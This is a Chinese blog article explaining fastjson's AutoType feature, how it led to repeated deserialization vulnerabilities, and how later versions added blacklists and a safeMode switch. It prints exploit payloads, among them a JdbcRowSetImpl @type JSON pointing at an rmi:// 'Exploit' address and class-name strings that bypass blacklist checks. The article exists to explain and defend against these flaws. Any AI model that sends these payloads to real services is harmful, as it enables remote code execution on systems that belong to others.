作者 l Hollis
来源 l Hollis(ID:hollischuang)
fastjson大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将Java Bean和JSON 字符串之间进行转换。
前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。
但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源代码。
最终发现,这其实和fastjson中的一个AutoType特性有关。
从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。
下面是fastjson的官方releaseNotes 中,几次关于AutoType的重要升级:
1.2.59发布,增强AutoType打开时的安全性 fastjson
1.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson
1.2.61发布,增加AutoType安全黑名单 fastjson
1.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
1.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson
1.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson
1.2.68发布,支持GEOJSON,补充了AutoType黑名单。(引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。) fastjson
1.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson
1.2.70发布,提升兼容性,补充了AutoType黑名单
甚至在fastjson的开源库中,有一个Isuue是建议作者提供不带autoType的版本:
那么,什么是AutoType?为什么fastjson要引入AutoType?为什么AutoType会导致安全漏洞呢?本文就来深入分析一下。
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
JSON.toJSONString
进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
SerializerFeature.WriteClassName
进行标记,即将上述代码中的。
String jsonString = JSON.toJSONString(store);
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
SerializerFeature.WriteClassName
进行标记后,JSON字符串中多出了一个@type
字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
@type
指定一个自己想要使用的攻击类库。
com.sun.rowset.JdbcRowSetImpl
,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
L
和
;
,形如
Lcom.lang.Thread;
。
L
和
;
就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。
Lcom.sun.rowset.JdbcRowSetImpl;
,会先通过白名单校验,然后fastjson在加载类的时候会去掉前后的
L
和
,
变成了
com.sun.rowset.JdbcRowSetImpl
。
L
和
;
,如果是的话,就截取掉前后的
L
和
;
再进行黑白名单的校验。
LL
和
;;
,这样再被截取之后还是可以绕过检测。如
LLcom.sun.rowset.JdbcRowSetImpl;;
LL
未开头的判断,如果目标类以
LL
开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。
L
和
;
这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对
L
和
;
这样的类进行特殊处理,还对
[
也被特殊处理了。
[
,v1.2.43以前的所有版本又沦陷了。
[
开头或者以
;
结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。
java.lang.Class
java.lang.Class
类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
ParserConfig.getGlobalInstance().setSafeMode(true);
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
更多精彩推荐
☞后浪“95”获 CVPR 2020 最佳论文,前得主这样解读
点分享 点点赞 点在看